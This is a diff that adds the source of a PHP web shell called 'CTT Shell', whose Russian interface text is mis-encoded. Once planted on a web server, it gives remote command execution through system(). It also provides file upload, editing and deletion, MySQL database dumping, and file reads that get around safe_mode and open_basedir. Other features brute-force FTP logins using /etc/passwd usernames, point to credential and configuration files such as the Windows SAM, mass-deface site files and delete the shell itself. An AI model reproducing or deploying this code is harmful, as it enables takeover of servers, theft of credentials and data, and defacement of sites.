+if (!is_dir($d."/".$o)) {$ret = copy($d."/".$o,$t."/".$o);}
+else {if (mkdir($t."/".$o) and fs_copy_dir($d."/".$o,$t."/".$o)) {$ret = false;}}
+if (!$ret) {return $ret;}
+ }
+ }
+ return true;
+}
+}
+if (!function_exists("fs_move_obj"))
+{
+function fs_move_obj($d,$t)
+{
+ $d = str_replace("\\","/",$d);
+ $t = str_replace("\\","/",$t);
+ if (is_dir($d))
+ {
+ if (substr($d,strlen($d)-1,strlen($d)) != "/") {$d .= "/";}
+ if (substr($t,strlen($t)-1,strlen($t)) != "/") {$t .= "/";}
+ return fs_move_dir($d,$t);
+ }
+ elseif (is_file($d)) {return rename($d,$t);}
+ else {return false;}
+}
+}
+if (!function_exists("fs_rmdir"))
+{
+function fs_rmdir($d)
+{
+ $h = opendir($d);
+ while ($o = readdir($h))
+ {
+ if (($o != ".") and ($o != ".."))
+ {
+if (!is_dir($d.$o)) {unlink($d.$o);}
+else {fs_rmdir($d.$o."/"); rmdir($d.$o);}
+ }
+ }
+ closedir($h);
+ rmdir($d);
+ return !is_dir($d);
+}
+}
+if (!function_exists("fs_rmobj"))
+{
+function fs_rmobj($o)
+{
+ $o = str_replace("\\","/",$o);
+ if (is_dir($o))
+ {
+ if (substr($o,strlen($o)-1,strlen($o)) != "/") {$o .= "/";}
+ return fs_rmdir($o);
+ }
+ elseif (is_file($o)) {return unlink($o);}
+ else {return false;}
+}
+}
+if (!function_exists("myshellexec"))
+{
+ function myshellexec($cmd)
+ {
+ return system($cmd);
+ }
+}
+if (!function_exists("view_perms"))
+{
+function view_perms($mode)
+{
+ if (($mode & 0xC000) === 0xC000) {$type = "s";}
+ elseif (($mode & 0x4000) === 0x4000) {$type = "d";}
+ elseif (($mode & 0xA000) === 0xA000) {$type = "l";}
+ elseif (($mode & 0x8000) === 0x8000) {$type = "-";}
+ elseif (($mode & 0x6000) === 0x6000) {$type = "b";}
+ elseif (($mode & 0x2000) === 0x2000) {$type = "c";}
+ elseif (($mode & 0x1000) === 0x1000) {$type = "p";}
+ else {$type = "?";}
+
+ $owner['read'] = ($mode & 00400) ? "r" : "-";
+ $owner['write'] = ($mode & 00200) ? "w" : "-";
+ $owner['execute'] = ($mode & 00100) ? "x" : "-";
+ $group['read'] = ($mode & 00040) ? "r" : "-";
+ $group['write'] = ($mode & 00020) ? "w" : "-";
+ $group['execute'] = ($mode & 00010) ? "x" : "-";
+ $world['read'] = ($mode & 00004) ? "r" : "-";
+ $world['write'] = ($mode & 00002) ? "w" : "-";
+ $world['execute'] = ($mode & 00001) ? "x" : "-";
+
+ if( $mode & 0x800 ) {$owner['execute'] = ($owner[execute]=="x") ? "s" : "S";}
+ if( $mode & 0x400 ) {$group['execute'] = ($group[execute]=="x") ? "s" : "S";}
+ if( $mode & 0x200 ) {$world['execute'] = ($world[execute]=="x") ? "t" : "T";}
+
+ return $type.$owner['read'].$owner['write'].$owner['execute'].
+ $group['read'].$group['write'].$group['execute'].
+ $world['read'].$world['write'].$world['execute'];
+}
+}
+if (!function_exists("strinstr")) {function strinstr($str,$text) {return $text != str_replace($str,"",$text);}}
+if (!function_exists("gchds")) {function gchds($a,$b,$c,$d="") {if ($a == $b) {return $c;} else {return $d;}}}
+if (!function_exists("ctsh_getupdate"))
+{
+function ctsh_getupdate()
+{
+ global $updatenow;
+ $data = @file_get_contents($ctsh_updatefurl);
+ if (!$data) {echo "Can't fetch update-information!";}
+ else
+ {
+ $data = unserialize(base64_decode($data));
+ if (!is_array($data)) {echo "Corrupted update-information!";}
+ else
+ {
+if ($cv < $data[cur]) {$updatenow = true;}
+ }
+ }
+}
+}
+if (!function_exists("mysql_dump"))
+{
+function mysql_dump($set)
+{
+ $sock = $set["sock"];
+ $db = $set["db"];
+ $print = $set["print"];
+ $nl2br = $set["nl2br"];
+ $file = $set["file"];
+ $add_drop = $set["add_drop"];
+ $tabs = $set["tabs"];
+ $onlytabs = $set["onlytabs"];
+ $ret = array();
+ if (!is_resource($sock)) {echo("Error: \$sock is not valid resource.");}
+ if (empty($db)) {$db = "db";}
+ if (empty($print)) {$print = 0;}
+ if (empty($nl2br)) {$nl2br = true;}
+ if (empty($add_drop)) {$add_drop = true;}
+ if (empty($file))
+ {
+ global $win;
+ if ($win) {$file = "C:\\tmp\\dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
+ else {$file = "/tmp/dump_".$SERVER_NAME."_".$db."_".date("d-m-Y-H-i-s").".sql";}
+ }
+ if (!is_array($tabs)) {$tabs = array();}
+ if (empty($add_drop)) {$add_drop = true;}
+ if (sizeof($tabs) == 0)
+ {
+
+ $res = mysql_query("SHOW TABLES FROM ".$db, $sock);
+ if (mysql_num_rows($res) > 0) {while ($row = mysql_fetch_row($res)) {$tabs[] = $row[0];}}
+ }
+ global $SERVER_ADDR;
+ global $SERVER_NAME;
+ $out = "# Dumped by ctShell.SQL v. ".$cv."
+# Home page: http://.ru
+#
+# Host settings:
+# MySQL version: (".mysql_get_server_info().") running on ".$SERVER_ADDR." (".$SERVER_NAME.")"."
+# Date: ".date("d.m.Y H:i:s")."
+# ".gethostbyname($SERVER_ADDR)." (".$SERVER_ADDR.")"." dump db \"".$db."\"
+#---------------------------------------------------------
+";
+ $c = count($onlytabs);
+ foreach($tabs as $tab)
+ {
+ if ((in_array($tab,$onlytabs)) or (!$c))
+ {
+if ($add_drop) {$out .= "DROP TABLE IF EXISTS `".$tab."`;\n";}
+$res = mysql_query("SHOW CREATE TABLE `".$tab."`", $sock);
+if (!$res) {$ret[err][] = mysql_error();}
+else
+{
+ $row = mysql_fetch_row($res);
+ $out .= $row[1].";\n\n";
+ $res = mysql_query("SELECT * FROM `$tab`", $sock);
+ if (mysql_num_rows($res) > 0)
+ {
+ while ($row = mysql_fetch_assoc($res))
+ {
+$keys = implode("`, `", array_keys($row));
+$values = array_values($row);
+foreach($values as $k=>$v) {$values[$k] = addslashes($v);}
+$values = implode("', '", $values);
+$sql = "INSERT INTO `$tab`(`".$keys."`) VALUES ('".$values."');\n";
+$out .= $sql;
+ }
+ }
+}
+ }
+ }
+ $out .= "#---------------------------------------------------------------------------------\n\n";
+ if ($file)
+ {
+ $fp = fopen($file, "w");
+ if (!$fp) {$ret[err][] = 2;}
+ else
+ {
+fwrite ($fp, $out);
+fclose ($fp);
+ }
+ }
+ if ($print) {if ($nl2br) {echo nl2br($out);} else {echo $out;}}
+ return $ret;
+}
+}
+if (!function_exists("ctfsearch"))
+{
+function ctfsearch($d)
+{
+ global $found;
+ global $found_d;
+ global $found_f;
+ global $a;
+ if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+ $handle = opendir($d);
+ while ($f = readdir($handle))
+ {
+ $true = ($a[name_regexp] and ereg($a[name],$f)) or ((!$a[name_regexp]) and strinstr($a[name],$f));
+ if($f != "." && $f != "..")
+ {
+if (is_dir($d.$f))
+{
+ if (empty($a[text]) and $true) {$found[] = $d.$f; $found_d++;}
+ ctfsearch($d.$f);
+}
+else
+{
+ if ($true)
+ {
+ if (!empty($a[text]))
+ {
+$r = @file_get_contents($d.$f);
+if ($a[text_wwo]) {$a[text] = " ".trim($a[text])." ";}
+if (!$a[text_cs]) {$a[text] = strtolower($a[text]); $r = strtolower($r);}
+
+if ($a[text_regexp]) {$true = ereg($a[text],$r);}
+else {$true = strinstr($a[text],$r);}
+if ($a[text_not])
+{
+ if ($true) {$true = false;}
+ else {$true = true;}
+}
+if ($true) {$found[] = $d.$f; $found_f++;}
+ }
+ else {$found[] = $d.$f; $found_f++;}
+ }
+}
+ }
+ }
+ closedir($handle);
+}
+}
+header("Expires: Mon, 26 Jul 1997 05:00:00 GMT");
+header("Last-Modified: ".gmdate("D, d M Y H:i:s")." GMT");
+header("Cache-Control: no-store, no-cache, must-revalidate");
+header("Cache-Control: post-check=0, pre-check=0", false);
+header("Pragma: no-cache");
+
+global $SERVER_SOFTWARE;
+if (strtolower(substr(PHP_OS, 0, 3)) == "win") {$win = 1;}
+else {$win = 0;}
+
+if (empty($tmpdir))
+{
+ if (!$win) {$tmpdir = "/tmp/";}
+ else {$tmpdir = $_ENV[SystemRoot];}
+}
+$tmpdir = str_replace("\\","/",$tmpdir);
+if (substr($tmpdir,strlen($tmpdir-1),strlen($tmpdir)) != "/") {$tmpdir .= "/";}
+if (@ini_get("safe_mode") or strtolower(@ini_get("safe_mode")) == "on")
+{
+ $safemode = true;
+ $hsafemode = "
ON (secure) ";
+}
+else {$safemode = false; $hsafemode = "
OFF (not secure) ";}
+$v = @ini_get("open_basedir");
+if ($v or strtolower($v) == "on")
+{
+ $openbasedir = true;
+ $hopenbasedir = "
".$v." ";
+}
+else {$openbasedir = false; $hopenbasedir = "
OFF (not secure) ";}
+
+$sort = htmlspecialchars($sort);
+
+$DISP_SERVER_SOFTWARE = str_replace("PHP/".phpversion(),"
PHP/".phpversion()." ",$SERVER_SOFTWARE);
+
+@ini_set("highlight.bg",$highlight_bg);
+@ini_set("highlight.comment",$highlight_comment);
+@ini_set("highlight.default",$highlight_default);
+@ini_set("highlight.html",$highlight_html);
+@ini_set("highlight.keyword",$highlight_keyword);
+@ini_set("highlight.string","#DD0000");
+
+if ($act != "img")
+{
+if (!is_array($actbox)) {$actbox = array();}
+$dspact = $act = htmlspecialchars($act);
+$disp_fullpath = $ls_arr = $notls = null;
+$ud = urlencode($d);
+?>
+
+
+
+
+CTT Shell -=[ echo $HTTP_HOST; ?> ]=-
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+$d = str_replace("\\","/",$d);
+if (empty($d)) {$d = realpath(".");} elseif(realpath($d)) {$d = realpath($d);}
+$d = str_replace("\\","/",$d);
+if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";}
+$dispd = htmlspecialchars($d);
+$pd = $e = explode("/",substr($d,0,strlen($d)-1));
+$i = 0;
+foreach($pd as $b)
+{
+ $t = "";
+ reset($e);
+ $j = 0;
+ foreach ($e as $r)
+ {
+ $t.= $r."/";
+ if ($j == $i) {break;}
+ $j++;
+ }
+ echo "".htmlspecialchars($b)."/ ";
+ $i++;
+}
+?>
+
+
+
+
+
+
+
+
+Èíñòðóìåíòû -
+
+Èíôîðìàòîð
+
+
+Ïðîãðàììíîå îáåñïå÷åíèå:
+Ñèñòåìà:
+
+Áåçîïàñíîñòü:
+
+echo " ";
+echo "Âåðñèÿ ÏÕÏ: ".@phpversion()." ";
+echo " ";
+$curl_on = @function_exists('curl_version');
+echo "cURL: ".(($curl_on)?("ON "):("OFF "));
+echo " ";
+echo "MySQL: ";
+$mysql_on = @function_exists('mysql_connect');
+if($mysql_on){
+echo "ON "; } else { echo "OFF "; }
+echo " ";
+echo "MSSQL: ";
+$mssql_on = @function_exists('mssql_connect');
+if($mssql_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+echo "PostgreSQL: ";
+$pg_on = @function_exists('pg_connect');
+if($pg_on){echo "ON ";}else{echo "OFF ";}
+echo " ";
+echo "Oracle: ";
+$ora_on = @function_exists('ocilogon');
+if($ora_on){echo "ON ";}else{echo "OFF ";}
+?>
+Ñâîáîäíûé ".view_size($free)." of ".view_size($all)." (".$used_percent."%) ";
+?>
+
+
+
+if ($win)
+{
+?>
+ - Äèñêè
+
+}
+?>
+
+
+$letters = "";
+if ($win)
+{
+ $abc = array("c", "d", "e", "f", "g", "h", "i", "j", "k", "l", "m", "o", "p", "q", "n", "r", "s", "t", "v", "u", "w", "x", "y", "z");
+ $v = explode("/",$d);
+ $v = $v[0];
+ foreach ($abc as $letter)
+ {
+ if (is_dir($letter.":/"))
+ {
+if ($letter.":" != $v) {$letters .= "
".$letter." ";}
+else {$letters .= "
".$letter." ";}
+ }
+ }
+ if (!empty($letters)) {echo "
".$letters;}
+}
+?>
+
+
+About
+
+
+
+
+
+if (count($quicklaunch) > 0)
+{
+ foreach($quicklaunch as $item)
+ {
+ $item[1] = str_replace("%d",urlencode($d),$item[1]);
+ $item[1] = str_replace("%upd",urlencode(realpath($d."..")),$item[1]);
+ echo "".$item[0]." ";
+ }
+}
+?>
+
+
+
+
+
+Ìåíåäæåð SQL: ";
+ if (!$sql_sock)
+ {
+ if (!$sql_server) {echo "ÍÅÒ ÑÂßÇÈ";}
+ else {echo "Can't connect "; echo "".$err." ";}
+ }
+ else
+ {
+ $sqlquicklaunch = array();
+ $sqlquicklaunch[] = array("Index",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&");
+ if (!$sql_db) {$sqlquicklaunch[] = array("Query","#\" onclick=\"alert('Please, select DB!')");}
+ else {$sqlquicklaunch[] = array("Query",$sql_surl."sql_act=query");}
+ $sqlquicklaunch[] = array("Server-status",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=serverstatus");
+ $sqlquicklaunch[] = array("Server variables",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=servervars");
+ $sqlquicklaunch[] = array("Processes",$sul."act=sql&sql_login=".htmlspecialchars($sql_login)."&sql_passwd=".htmlspecialchars($sql_passwd)."&sql_server=".htmlspecialchars($sql_server)."&sql_port=".htmlspecialchars($sql_port)."&sql_act=processes");
+ $sqlquicklaunch[] = array("Logout",$sul."act=sql");
+
+ echo "MySQL ".mysql_get_server_info()." (proto v.".mysql_get_proto_info ().") running in ".htmlspecialchars($sql_server).":".htmlspecialchars($sql_port)." as ".htmlspecialchars($sql_login)."@".htmlspecialchars($sql_server)." (password - \"".htmlspecialchars($sql_passwd)."\") ";
+
+ if (count($sqlquicklaunch) > 0) {foreach($sqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+ echo " ";
+ }
+ echo " ";
+ if (!$sql_sock) {?>
+Åñëè ëîãèí ÿâëÿåòñÿ ïóñòûì, ëîãèí - âëàäåëåö ïðîöåññà.
+Åñëè õîçÿèí ÿâëÿåòñÿ ïóñòûì, õîçÿèí - localhost
+Åñëè ïîðò ÿâëÿåòñÿ ïóñòûì, ïîðò - 3306 (íåïëàòåæ)
+
+
+ Çàïîëíèòå ôîðìó: ">Home ".htmlspecialchars($sql_db)." ]--- ";
+ $c = 0;
+ while ($row = mysql_fetch_array($result)) {$count = mysql_query ("SELECT COUNT(*) FROM $row[0]"); $count_row = mysql_fetch_array($count); echo "» ".htmlspecialchars($row[0])." (".$count_row[0].")
+"; mysql_free_result($count); $c++;}
+ if (!$c) {echo "No tables found in database.";}
+}
+ }
+ else
+ {
+?>Home Databases (...)
+";
+ $c = 0;
+ while ($row = mysql_fetch_row($result)) {echo "".$row[0]."
+"; $c++;}
+}
+?> Ïîæàëóéñòà, âûáåðèòå áàçó äàííûõ";
+ if ($sql_db)
+ {
+echo "There are ".$c." tables in this DB (".htmlspecialchars($sql_db)."). ";
+if (count($dbquicklaunch) > 0) {foreach($dbsqlquicklaunch as $item) {echo "[ ".$item[0]." ] ";}}
+echo " ";
+
+$acts = array("","dump");
+
+if ($sql_act == "query")
+{
+ echo " ";
+ if ($submit)
+ {
+ if ((!$sql_query_result) and ($sql_confirm)) {if (!$sql_query_error) {$sql_query_error = "Query was empty";} echo "Error: ".$sql_query_error." ";}
+ }
+ if ($sql_query_result or (!$sql_confirm)) {$sql_act = $sql_goto;}
+ if ((!$submit) or ($sql_act)) {echo ""; if (($sql_query) and (!$submit)) {echo "Do you really want to :";} else {echo "SQL-Query :";} echo " ".htmlspecialchars($sql_query)." ";}
+}
+if (in_array($sql_act,$acts))
+{
+ ?>";}
+ if ($sql_act == "newtpl")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";
+ }
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
+}
+elseif ($sql_act == "dump")
+{
+ $set = array();
+ $set["sock"] = $sql_sock;
+ $set["db"] = $sql_db;
+ $dump_out = "print";
+ if ($dump_out == "print") {$set["print"] = 1; $set["nl2br"] = 1;}
+ elseif ($dump_out == "download")
+ {
+ @ob_clean();
+ header("Content-type: ctshell");
+ header("Content-disposition: attachment; filename=\"".$f."\";");
+ $set["print"] = 1;
+ $set["nl2br"] = 1;
+ }
+ $set["file"] = $dump_file;
+ $set["add_drop"] = true;
+ $ret = mysql_dump($set);
+ if ($dump_out == "download") {exit;}
+}
+else
+{
+ $result = mysql_query("SHOW TABLE STATUS", $sql_sock) or print(mysql_error());
+ echo "
+With selected:
+Drop
+Empty
+Check table
+Optimize table
+Repair table
+Analyze table
+ ";
+ mysql_free_result($result);
+}
+ }
+ }
+ else
+ {
+$acts = array("","newdb","serverstat","servervars","processes","getfile");
+if (in_array($sql_act,$acts))
+{
+ ?>";
+ if ($sql_act == "newdb")
+ {
+ echo "";
+ if ((mysql_create_db ($sql_newdb)) and (!empty($sql_newdb))) {echo "DB \"".htmlspecialchars($sql_newdb)."\" has been created with success! ";}
+ else {echo "Can't create DB \"".htmlspecialchars($sql_newdb)."\". Reason: ".mysql_error();}
+ }
+ if ($sql_act == "serverstatus")
+ {
+ $result = mysql_query("SHOW STATUS", $sql_sock);
+ echo "Server-status variables: ";
+ echo "Name value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "servervars")
+ {
+ $result = mysql_query("SHOW VARIABLES", $sql_sock);
+ echo "Server variables: ";
+ echo "Name value ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) {echo "".$row[0]." ".$row[1]." ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ if ($sql_act == "processes")
+ {
+ if (!empty($kill)) {$query = 'KILL ' . $kill . ';'; $result = mysql_query($query, $sql_sock); echo "Killing process #".$kill."... ok. he is dead, amen. ";}
+ $result = mysql_query("SHOW PROCESSLIST", $sql_sock);
+ echo "Ïðîöåññû: ";
+ echo "ID USER HOST DB COMMAND TIME STATE INFO Action ";
+ while ($row = mysql_fetch_array($result, MYSQL_NUM)) { echo "".$row[0]." ".$row[1]." ".$row[2]." ".$row[3]." ".$row[4]." ".$row[5]." ".$row[6]." ".$row[7]." Kill ";}
+ echo "
";
+ mysql_free_result($result);
+ }
+ elseif (($sql_act == "getfile"))
+ {
+ if (!mysql_create_db("tmp_bd")) {echo mysql_error();}
+ elseif (!mysql_select_db("tmp_bd")) {echo mysql_error();}
+ elseif (!mysql_query('CREATE TABLE `tmp_file` ( `Viewing the file in safe_mode+open_basedir` LONGBLOB NOT NULL );')) {echo mysql_error();}
+ else {mysql_query("LOAD DATA INFILE \"".addslashes($sql_getfile)."\" INTO TABLE tmp_file"); $query = "SELECT * FROM tmp_file"; $result = mysql_query($query); if (!$result) {echo "Error in query \"".$query."\": ".mysql_error();}
+ else
+ {
+for ($i=0;$i$col_value) {$f .= $col_value;}}
+if (empty($f)) {echo "File \"".$sql_getfile."\" does not exists or empty! ";}
+else {echo "File \"".$sql_getfile."\": ".nl2br(htmlspecialchars($f));}
+ }
+ mysql_free_result($result);
+ if (!mysql_drop_db("tmp_bd")) {echo ("Can't drop tempory DB \"tmp_bd\"!");}
+ }
+ }
+}
+ }
+ }
+ echo "
";
+}
+if ($act == "mkdir")
+{
+ if ($mkdir != $d) {if (file_exists($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : object alredy exists";} elseif (!mkdir($mkdir)) {echo "Make Dir \"".htmlspecialchars($mkdir)."\" : access denied";}}
+ echo " ";
+ $act = $dspact = "ls";
+}
+if ($act == "ftpquickbrute")
+{
+ echo "Ftp Quick brute: ";
+ if ($win) {echo "This functions not work in Windows! ";}
+ else
+ {
+ function ctftpbrutecheck($host,$port,$timeout,$login,$pass,$sh,$fqb_onlywithsh)
+ {
+if ($fqb_onlywithsh)
+{
+ if (!in_array($sh,array("/bin/bash","/bin/sh","/usr/local/cpanel/bin/jailshell"))) {$true = false;}
+ else {$true = true;}
+}
+else {$true = true;}
+if ($true)
+{
+ $sock = @ftp_connect($host,$port,$timeout);
+ if (@ftp_login($sock,$login,$pass))
+ {
+ echo "Connected to ".$host." with login \"".$login."\" and password \"".$pass."\" . ";
+ ob_flush();
+ return true;
+ }
+}
+ }
+ if (!empty($submit))
+ {
+if (!is_numeric($fqb_lenght)) {$fqb_lenght = $nixpwdperpage;}
+$fp = fopen("/etc/passwd","r");
+if (!$fp) {echo "Can't get /etc/passwd for password-list.";}
+else
+{
+ ob_flush();
+ $i = $success = 0;
+ $ftpquick_st = getmicrotime();
+ while(!feof($fp))
+ {
+ $str = explode(":",fgets($fp,2048));
+ if (ctftpbrutecheck("localhost",21,1,$str[0],$str[0],$str[6],$fqb_onlywithsh))
+ {
+$success++;
+ }
+ if ($i > $fqb_lenght) {break;}
+ $i++;
+ }
+ if ($success == 0) {echo "No success. connections!";}
+ $ftpquick_t = round(getmicrotime()-$ftpquick_st,4);
+ echo "Done! Total time (secs.): ".$ftpquick_t." Total connections: ".$i." Success.: ".$success." Unsuccess.:".($i-$success)." Connects per second: ".round($i/$ftpquick_t,2)." ";
+}
+ }
+ else {echo " Read first: Users only with shell? ";}
+ }
+}
+if ($act == "lsa")
+{
+ echo "Èíôîðìàöèÿ áåçîïàñíîñòè ñåðâåðà: ";
+ echo "Ïðîãðàììíîå îáåñïå÷åíèå: ".PHP_OS.", ".$SERVER_SOFTWARE." ";
+ echo "Áåçîïàñíîñòü: ".$hsafemode." ";
+ echo "Îòêðûòûé îñíîâíîé äèðåêòîð: ".$hopenbasedir." ";
+ if (!$win)
+ {
+ if ($nixpasswd)
+ {
+if ($nixpasswd == 1) {$nixpasswd = 0;}
+$num = $nixpasswd + $nixpwdperpage;
+echo "*nix /etc/passwd: ";
+$i = $nixpasswd;
+while ($i < $num)
+{
+ $uid = posix_getpwuid($i);
+ if ($uid) {echo join(":",$uid)." ";}
+ $i++;
+}
+ }
+ else {echo "Get /etc/passwd ";}
+ if (file_get_contents("/etc/userdomains")) {echo "View cpanel user-domains logs ";}
+ if (file_get_contents("/var/cpanel/accounting.log")) {echo "View cpanel logs ";}
+ if (file_get_contents("/usr/local/apache/conf/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ if (file_get_contents("/etc/httpd.conf")) {echo "Apache configuration (httpd.conf) ";}
+ }
+ else
+ {
+ $v = $_SERVER["WINDIR"]."\repair\sam";
+ if (file_get_contents($v)) {echo "You can't crack winnt passwords(".$v.") ";}
+ else {echo "Âû ìîæåòå âçëîìàòü winnt ïàðîëè. Ñêà÷àòü , c èñïîëüçîâàíèå lcp.crack+. ";}
+ }
+}
+if ($act == "mkfile")
+{
+ if ($mkfile != $d)
+ {
+ if (file_exists($mkfile)) {echo "Make File \"".htmlspecialchars($mkfile)."\" : object alredy exists";}
+ elseif (!fopen($mkfile,"w")) {echo "Make File \"".htmlspecialchars($mkfile)."\" : access denied";}
+ else {$act = "f"; $d = dirname($mkfile); if (substr($d,strlen($d)-1,1) != "/") {$d .= "/";} $f = basename($mkfile);}
+ }
+ else {$act = $dspact = "ls";}
+}
+if ($act == "fsbuff")
+{
+ $arr_copy = $sess_data["copy"];
+ $arr_cut = $sess_data["cut"];
+ $arr = array_merge($arr_copy,$arr_cut);
+ if (count($arr) == 0) {echo "Buffer is empty! ";}
+ else
+ {
+ echo "File-System buffer ";
+ $ls_arr = $arr;
+ $disp_fullpath = true;
+ $act = "ls";
+ }
+}
+if ($act == "selfremove")
+{
+ if (!empty($submit))
+ {
+ if (unlink(__FILE__)) {@ob_clean(); echo "Thanks for using ctshell v.".$cv."!"; exit; }
+ else {echo "Can't delete ".__FILE__."! ";}
+ }
+ else
+ {
+ $v = array();
+ for($i=0;$i<8;$i++) {$v[] = "NO ";}
+ $v[] = "YES ";
+ shuffle($v);
+ $v = join(" ",$v);
+ echo "Ñàìîóäàëèòü: ".__FILE__." Âû óâåðåííû? ".$v." ";
+ }
+}
+if ($act == "massdeface")
+{
+ if (empty($deface_in)) {$deface_in = $d;}
+ if (empty($deface_name)) {$deface_name = "(.*)"; $deface_name_regexp = 1;}
+ if (empty($deface_text_wwo)) {$deface_text_regexp = 0;}
+
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+
+ $text = $deface_text;
+ $text_regexp = $deface_text_regexp;
+ if (empty($text)) {$text = " "; $text_regexp = 1;}
+
+ $a = array
+ (
+"name"=>$deface_name, "name_regexp"=>$deface_name_regexp,
+"text"=>$text, "text_regexp"=>$text_regxp,
+"text_wwo"=>$deface_text_wwo,
+"text_cs"=>$deface_text_cs,
+"text_not"=>$deface_text_not
+ );
+ $defacetime = getmicrotime();
+ $in = array_unique(explode(";",$deface_in));
+ foreach($in as $v) {ctfsearch($v);}
+ $defacetime = round(getmicrotime()-$defacetime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+$ls_arr = $found;
+$disp_fullpath = true;
+$act = $dspact = "ls";
+ }
+ }
+ else
+ {
+ if (empty($deface_preview)) {$deface_preview = 1;}
+
+ }
+ echo "";
+ if (!$submit) {echo "Attention! It's a very dangerous feature, you may lost your data. ";}
+ echo "
+Deface for (file/directory name): - regexp
+Deface in (explode \";\"):
+Search text: ".htmlspecialchars($deface_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ - PREVIEW AFFECTED FILES
+Html of deface: ".htmlspecialchars($deface_html)."
+ ";
+ if ($act == "ls") {echo "Deface took ".$defacetime." secs ";}
+}
+if ($act == "search")
+{
+ if (empty($search_in)) {$search_in = $d;}
+ if (empty($search_name)) {$search_name = "(.*)"; $search_name_regexp = 1;}
+ if (empty($search_text_wwo)) {$search_text_regexp = 0;}
+
+ if (!empty($submit))
+ {
+ $found = array();
+ $found_d = 0;
+ $found_f = 0;
+ $a = array
+ (
+"name"=>$search_name, "name_regexp"=>$search_name_regexp,
+"text"=>$search_text, "text_regexp"=>$search_text_regxp,
+"text_wwo"=>$search_text_wwo,
+"text_cs"=>$search_text_cs,
+"text_not"=>$search_text_not
+ );
+ $searchtime = getmicrotime();
+ $in = array_unique(explode(";",$search_in));
+ foreach($in as $v)
+ {
+ctfsearch($v);
+ }
+ $searchtime = round(getmicrotime()-$searchtime,4);
+ if (count($found) == 0) {echo "No files found! ";}
+ else
+ {
+$ls_arr = $found;
+$disp_fullpath = true;
+$act = $dspact = "ls";
+ }
+ }
+ echo "
+
+Search for (file/directory name): - regexp
+Search in (explode \";\"):
+Text: ".htmlspecialchars($search_text)."
+ - regexp
+ - w hole words only
+ - case sensitive
+ - find files NOT containing the text
+ ";
+ if ($act == "ls") {echo "Search took ".$searchtime." secs ";}
+}
+if ($act == "chmod")
+{
+ $perms = fileperms($d.$f);
+ if (!$perms) {echo "Can't get current mode.";}
+ elseif ($submit)
+ {
+ if (!isset($owner[0])) {$owner[0] = 0;}
+ if (!isset($owner[1])) {$owner[1] = 0; }
+ if (!isset($owner[2])) {$owner[2] = 0;}
+ if (!isset($group[0])) {$group[0] = 0;}
+ if (!isset($group[1])) {$group[1] = 0;}
+ if (!isset($group[2])) {$group[2] = 0;}
+ if (!isset($world[0])) {$world[0] = 0;}
+ if (!isset($world[1])) {$world[1] = 0;}
+ if (!isset($world[2])) {$world[2] = 0;}
+ $sum_owner = $owner[0] + $owner[1] + $owner[2];
+ $sum_group = $group[0] + $group[1] + $group[2];
+ $sum_world = $world[0] + $world[1] + $world[2];
+ $sum_chmod = "0".$sum_owner.$sum_group.$sum_world;
+ $ret = @chmod($d.$f, $sum_chmod);
+ if ($ret) {$act = "ls";}
+ else {echo "Èçìåíåíèå Àòðèáóò Ôàéëà (".$d.$f.") : Îøèáêà ";}
+ }
+ else
+ {
+ echo "Èçìåíåíèå Àòðèáóò Ôàéëà ";
+ $perms = view_perms(fileperms($d.$f));
+ $length = strlen($perms);
+ $owner_r = $owner_w = $owner_x =
+ $group_r = $group_w = $group_x =
+ $world_r = $world_w = $group_x = "";
+
+ if ($perms[1] == "r") {$owner_r = " checked";} if ($perms[2] == "w") {$owner_w = " checked";}
+ if ($perms[3] == "x") {$owner_x = " checked";} if ($perms[4] == "r") {$group_r = " checked";}
+ if ($perms[5] == "w") {$group_w = " checked";} if ($perms[6] == "x") {$group_x = " checked";}
+ if ($perms[7] == "r") {$world_r = " checked";} if ($perms[8] == "w") {$world_w = " checked";}
+ if ($perms[9] == "x") {$world_x = " checked";}
+ echo "
+
+
+ ";
+ }
+}
+if ($act == "upload")
+{
+ $uploadmess = "";
+ $uploadpath = str_replace("\\","/",$uploadpath);
+ if (empty($uploadpath)) {$uploadpath = $d;}
+ elseif (substr($uploadpath,strlen($uploadpath)-1,1) != "/") {$uploadpath .= "/";}
+ if (!empty($submit))
+ {
+ global $HTTP_POST_FILES;
+ $uploadfile = $HTTP_POST_FILES["uploadfile"];
+ if (!empty($uploadfile[tmp_name]))
+ {
+if (empty($uploadfilename)) {$destin = $uploadfile[name];}
+else {$destin = $userfilename;}
+if (!move_uploaded_file($uploadfile[tmp_name],$uploadpath.$destin)) {$uploadmess .= "Îøèáêà, çàãðóæàþùàÿ ôàéë ".$uploadfile[name]." (íå ìîæåò ñêîïèðîâàòü \"".$uploadfile[tmp_name]."\" íà \"".$uploadpath.$destin."\"! ";}
+ }
+ elseif (!empty($uploadurl))
+ {
